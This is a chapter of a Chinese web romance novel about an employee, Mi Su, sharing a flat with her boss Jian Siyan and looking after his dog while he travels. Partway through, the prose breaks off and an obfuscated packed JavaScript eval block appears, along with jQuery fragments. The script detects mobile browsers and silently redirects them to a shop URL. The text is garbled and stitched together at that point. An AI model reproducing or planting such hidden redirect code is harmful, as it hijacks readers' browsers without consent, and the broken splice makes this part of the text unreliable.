与简司砚的合租生活拉开序幕后，竟出奇地呈现出一种“分裂式和谐”。
白天晨会上，米苏将通宵修改的版本七呈上。简司砚修长的手指翻过，最终在某处数据旁用钢笔轻轻一点，“这里的市场预估过于乐观，依据？”
米苏立刻绷紧神经，条理清晰地解释数据来源，心里却忍不住嘀咕：昨晚在客厅看财经新闻时，明明点过头来着……
午休偶遇，米苏和同事说笑路过总监办公室。
玻璃门内，简司砚正与部门经理谈话，侧脸冷峻，一个眼神扫过来，米苏立刻收敛笑容，加快脚步。
傍晚，合租房。
米苏踩着疲惫的步子打开门，再度闻到厨房传来的食物香气。
“回来了？”简司砚头也不回地问候一声。
“领导辛苦了！”
晚饭，餐桌上氛围微妙。
他们可能谈论时事热点，也可能听米苏吐槽某个难缠的客户，但话题鲜少涉及公司具体事务或童年旧账，仿佛有根无形的线划在那里。
米苏添置的挂画和绿植慢慢出现在客厅角落，简司砚从未发表意见，直到一天她发现，简司砚正给一盆蔫了的龟背竹浇水。
天使：“看，他接受改变了！”
恶魔：“可能是怕植物死你手里，影响人家充满设计感的房子。”
周六上午，米苏穿着睡衣窝在沙发上看综艺，笑得有些东倒西歪。
简司砚则一身整齐的运动装准备出门，路过客厅时，脚步微顿。目光在她那身夸张的恐龙尾巴上停留一秒，最终什么也没说，径直离开。
下午，米苏可能会在客厅地毯上铺开瑜伽垫做拉伸。简司砚从书房出来倒水，看到她姿势古怪地拧着身体，忽然点评了一句：
“核心没收紧。”
“…啊？”米苏保持扭曲姿势，茫然回头。
“腰会代偿，容易受伤。”他走上前，扶了下她腰侧位置，“这里，发力。”
米苏依言调整，果然感觉不同。
“哇，老板你还懂这个？”
“常识。”简司砚已经拿着水杯走开，丢下两个字。
天使：“哇塞，geigei好帅呀！”
恶魔：“可显摆他了，装啥啊？还‘常识’，猪都知道用你教？”
米苏一个旋风无敌劈杀腿，将恶魔飞踹上天。
Saygoodbye！
白天紧绷，夜晚松弛，日子就在偶尔交错的节奏中缓慢而有规律地流逝。
他们像是生活在平行时空又偶尔交汇的两个人，各自守着清晰的边界，却又在某些时刻，模糊了那条线。
米苏渐渐习惯在早晨出门前，对着可能紧闭也可能刚好打开的简司砚卧室门喊一声“我走了”；
简司砚也会在偶尔在她晚归的深夜，将客厅一盏小灯留亮。
-
冬天的冷空气，来临得总像一场不讲武德的偷袭。昨天还能单衣嘚瑟，今天就被按头灌了一肚子北风。
那风刮在脸上，已经不是耳光级别，简直是容嬷嬷拿着冰针在搞面部spa。
米苏严重怀疑是雪女怪兽斯诺格重出江湖，可现实世界没有奥特曼，只有怨气凝结成乌云团的牛马打工人。
每天赶地铁，米苏必裹紧她那件乌漆嘛黑的“战袍”。
——黑色羽绒服。
注：此“战袍”绝非夸张，实乃保命之刚需。毕竟每天在公司与方案数据和老板的死亡凝视中斗智斗勇，已经够耗心神，绝不能在路上再被物理攻击放倒。
此处打个暗广：
【凛冬将至，你的内力够厚吗？肯恰那！看通勤战袍——玄乌神羽氅。
不是所有的黑色羽绒服，都配叫“战袍”！
穿上它，你就是早高峰武林里，最暖且最不好惹的那个仔！】
而家中的温暖源泉，除了地球最伟大发明——地暖，就是苏打水了。
相比其他同类，苏打水堪称狗中宅男，多数时间都致力于在家中的各个角落将自己摊成一张狗饼，呼呼大睡，作息规律得让米苏这个社畜都自愧不如。
她一直很坚信，如果苏打水化形，一定是山崎贤人（早期）那种类型的。
跨年前夕，简司砚接到临市一个重要项目，出差月余。
以往遇到这种情况，要么派专业遛狗员上门接管，要么送回老家家中长辈待为照看一段时间。
这次，了解情况后的米苏，立马拍着胸脯打保证：“交给我，你就放一百八十个心去为GDP做贡献吧！”
“……”简司砚道，“谢谢。托你的福，我这一颗强心脏，现在每分钟都在为苏打水打预警。”
米苏腼腆笑着，权权当做这是对她的夸奖。
“哎呀，领导别客气。不就是遛狗、喂食、铲屎、陪玩、梳毛、注意它情绪这几项嘛，Soeasy！我保证等你凯旋，见到的绝对还是一个膘肥体壮、油光水滑……啊不，是健壮活泼的苏打水。”
简司砚看着她那副跃跃欲试、动力十足的模样，又看了看旁边浑然不觉，正吧唧嘴梦啃肉骨头的苏打水，最终叹了口气。
他将一份详细到令人发指的《苏打水饲养及家庭设备维护指南（应急版）》PDF发到了她手机上。
“有异常，先看指南。不行再打电话。”
“得令！”米苏敬了个不标准的礼。
然而，简司砚显然低估了“异常”的频率，以及米苏对“不行”的判定标准。
他出差第一天，在酒店会议室里厮杀了将近五个小时，晚上回到房间，第一个电话就来了。
“老板，不好了！苏打水它绝食了！”
简司砚揉了揉眉心：“指南第三页，挑食应对。”
“我看了。我换了狗粮加了罐头，甚至把我珍藏的鸡肉脯都贡献出来了，结果它闻了闻，翻了个身，继续睡了！”米苏语气焦急，“它是不是病了？还是太想念你帅气的面庞？”
“……”简司砚闭了闭眼，“你中午给它喂了多少零食？”
“呃…就一小包磨牙棒，两块苹果，几粒冻干……”
早有预警的简司砚冷静指示：“它不饿。把零食收好，明天按正常饭点喂。”
米苏恍然大悟：“领导英明！”
电话挂断。简司砚看着手机屏幕，直至息屏。
房间里忽然传出一道极轻的笑声。
…
…
第三天，电话在早上七点响起：“老板，洗碗机红灯亮了，它还发出一种要自爆的嗡嗡声，指南电器篇没写这个啊。”
“把电源关了，十分钟后再开，可能是程序错乱。”
“哦哦！领导你真是百科全书。”
第六天，晚上十点：“老板，Cindy变得好软。”
简司砚一脸懵：“谁？”
“你书房那盆仙人掌，我好像……水浇多了。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483097|201861||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“仙人掌浇透一次可以管一个月，别再碰它。”
第九天：“老板老板，楼下超市你常买那个牌子的狗粮断货了，换另一个同价位但口味不同的行吗？苏打水会吃吗？会不会引发它的忧郁症？”
“……它没那么多心理问题。”
第十二天，米苏发了条微信，是一张苏打水四脚朝天，露着肚皮酣睡的照片。
“老板，苏打水这个睡姿，代表它非常有安全感且快乐，对吧？”
简司砚正在与合作方进行一场至关重要的条款谈判，收到这条消息下一秒，那张难以察觉情绪的面容，忽然极度舒心地一笑。
会议结束后，负责主汇报的对方项目经理沾沾自喜。
能让简司砚在如此紧绷的谈判中，似乎满意地勾了下嘴角，自己的表现一定超常发挥了！
爽！
第十五天：“老板，今天苏打水对着你的拖鞋叹气，它是不是……想你了？”
这次，简司砚回得很快：【只它？】
过了会儿，对面发来一条语音。
“当然我也有想你……”女人声音清清润润，每个字吐露得都很清晰，中间故意拉长音顿了顿，“做的饭啦~”
简司砚甚至能想象出她说这话时，眼睛里闪着怎样狡黠的光。他扯了扯嘴角，那弧度说不清是无奈还是别的什么。
手指在屏幕上悬停片刻，最终没有回复任何文字，而是点开了相册。
里面存了不少这段时间米苏发来的苏打水照片，以及偶尔不小心入镜的某人侧影。
……
但第十五天过后，对面便像是没了音讯。
起初因为工作依旧繁忙，简司砚并没有放在心上，可当这种沉默足足持续一周……不知道这种形容准不准确，但确实内心深处有种患得患失的错觉。
往常米苏也不是每日报备苏打水的“成长”，却也从未间隔过这么长一段时间。
仿佛生活节奏一下子被打乱了。
夜幕降临，简司砚结束应酬回到酒店房间，手机依旧安静。
他下意识地查看了一下是否有漏掉的信息，又检查了网络——一切正常。
以往这时候，或许会有一条关于“苏打水晚上多放了一个屁算不算异常”的离谱咨询跳出来。
可是如今，安安静静。
第二十二天，又一个七天过去了。
在等待一场视频会议开始的空当里，简司砚指尖在手机屏幕上悬停了几次，难得的感到一丝无从下手的踌躇。
反复几次后，他抿了抿唇，发送一条极其公事公办的信息。
【简司砚】：之前的项目反馈报告，客户那边有更新吗？
发完，他立刻将手机屏幕扣在桌上，拿起手边的资料，认真核对数据。
几分钟后，手机震动了一下。
【提拉米苏】：报告？哦，您说悦容项目的季度反馈吗？还没呢，对方接口人说明天给最终版。我这边收到后第一时间整理发给您。
没有多余的话。
简司砚盯着这条回复，眉头轻微地蹙了一下。
他指尖在屏幕上动了动，最终，也只是回复了一个和以往无异的：
【嗯。】
一种难以言喻的感觉，悄然滋生。
并非强烈的失落，更像习惯了背景白噪音后，突然陷入绝对寂静时，耳朵里那点空茫的回响。
他不太喜欢这种感觉。